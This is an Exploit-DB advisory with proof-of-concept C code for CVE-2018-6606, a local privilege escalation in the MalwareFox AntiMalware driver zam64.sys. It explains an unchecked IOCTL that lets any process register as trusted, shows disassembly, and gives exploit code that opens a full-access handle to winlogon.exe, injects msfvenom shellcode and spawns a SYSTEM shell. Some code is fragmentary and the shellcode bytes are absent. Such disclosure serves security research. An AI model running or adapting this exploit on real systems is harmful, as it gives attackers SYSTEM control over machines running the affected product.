MalwareFox AntiMalware - Privilege Escalation

EDB-ID: 43987
Author: Souhail Hammou
Published: 2018-02-07
CVE: CVE-2018-6606
Type: Local
Platform: Windows
Aliases: N/A
Advisory/Source: N/A
Tags: Local
Vulnerable App: N/A

 Title: MalwareFox AntiMalware - Local Privilege Escalation 
Date: 03/02/2018
Author: Souhail Hammou
Vendor Homepage:
Tested on: Windows 7 32-bit / Windows 10 64-bit
CVE: CVE-2018-6606
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>

BOOL RegisterProcessByIOCTL(HANDLE hDevice)
DWORD pid, BytesReturned;

IOCTL 0x80002010 registers a process, by its PID, as trusted by the driver. Registered
processes can send special IOCTLs to the driver to do stuff like:
- Enable/Disable real-time protection
- Write to raw disk
- Open full access handles to processes
- ...etc

When a process sends a special IOCTL, the driver checks if that process is registered (as
shown in the disassembly below at address 0000000140010573).
However, when a process sends the IOCTL 0x80002010 to register a process by its PID, the driver
doesn't check to see if the requestor itself is registered (0000000140010553).
That way, any process can register any other process (including itself) with the driver.

.text:000000014001054A mov ebx, [rcx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
.text:000000014001054D cmp ebx, 80002010h
.text:0000000140010553 jz short find_ioctl_dispatcher ;jump past the check


.text:0000000140010573 mov edx, 1
.text:0000000140010578 mov ecx, ebp ; Requestor_PID
.text:000000014001057A call IsProcessRegistered
.text:000000014001057F lea rdx, aMain_c
.text:0000000140010586 test eax, eax
.text:0000000140010588 jnz short loc_1400105C2
.text:000000014001058A mov [rsp+68h+var_38], ebp
.text:000000014001058E lea rax, aProcessidDIsNo
.text:0000000140010595 mov edi, STATUS_ACCESS_DENIED


.text:00000001400105C8 find_ioctl_dispatcher: ; CODE XREF: sub_1400104BC+97j
.text:00000001400105C8 ; sub_1400104BC+ACj


.text:0000000140010612 cmp ebx, 80002010h
.text:0000000140010618 jz loc_1400106D7 ; dispatch the IOCTL

pid = GetCurrentProcessId(); //Register our process with the driver
if (!DeviceIoControl(hDevice, 0x80002010, &pid, sizeof(DWORD), NULL, 0, &BytesReturned, NULL))
return FALSE;

return TRUE;

DWORD GetWinlogonPID()
DWORD WinlogonPid = 0;
PROCESSENTRY32 ProcessEntry;
ProcessEntry.dwSize = sizeof(PROCESSENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
printf("[-] CreateToolhelp32Snapshot failed !\n");
goto ret;

if (!Process32First(hSnapshot, &ProcessEntry))
printf("[-] Process32First failed !\n");
goto cleanup;

if (!lstrcmp(ProcessEntry.szExeFile, "winlogon.exe"))
WinlogonPid = ProcessEntry.th32ProcessID;
} while (Process32Next(hSnapshot, &ProcessEntry));

return WinlogonPid;
int main(int argc, char** argv)
DWORD BytesReturned;
DWORD winlogon_pid;
HANDLE winlogon_handle;
LPVOID RemoteAllocation;
HANDLE hDevice;

printf("=== MalwareFox Anti-Malware zam64.sys Local Privilege Escalation ===\n");
printf(" Tested on Windows 10 64-bit \n");
printf(" Souhail Hammou \n\n");
printf("[*] Stage 1: Registering the process with the driver by sending IOCTL 0x80002010\n");

hDevice = CreateFile
return 0;

if (!RegisterProcessByIOCTL(hDevice))
printf("\t[-] Registration Failed !\n");
return 0;

printf("\t[+] Process registered.\n[*] Stage 2: \n");

printf("\t[+] Getting Winlogon's PID\n");
winlogon_pid = GetWinlogonPID();

if (!winlogon_pid)
printf("\t[-] GetWinlogonPID() failed !\n");
return 0;

printf("\t[+] (IOCTL) Opening a full access, user-mode accessible handle from kernel-mode to winlogon\n");

The dispatcher for IOCTL code 0x8000204C opens a full access handle, accessible from usermode, to a process.
We use this IOCTL to open a full access handle to winlogon.exe.
Note that this IOCTL can only be sent if the process is registered with the driver.
if (!DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &winlogon_handle, sizeof(HANDLE), &BytesReturned, NULL))
printf("\t[-] DeviceIoControl 0x8000204C failed !\n");
return 0;

printf("\t[+] Allocating executable memory in winlogon.exe using the full access handle\n");

if (!(RemoteAllocation = VirtualAllocEx(winlogon_handle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
printf("\t[-] VirtualAllocEx failed !\n");
return 0;

printf("\t[+] Writing shellcode to allocated memory\n");

/*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
unsigned char buf[] =

if (!WriteProcessMemory(winlogon_handle, RemoteAllocation, buf, sizeof(buf), &BytesReturned))
printf("\t[-] WriteProcessMemory Failed !\n");
return 0;

printf("\t[+] Spawning SYSTEM shell\n");
if (!CreateRemoteThread(winlogon_handle, NULL, 0, RemoteAllocation, NULL, 0, NULL))
printf("\t[-] CreateRemoteThread Failed! Did you compile the exploit as a 64-bit executable ?\n");
return 0;

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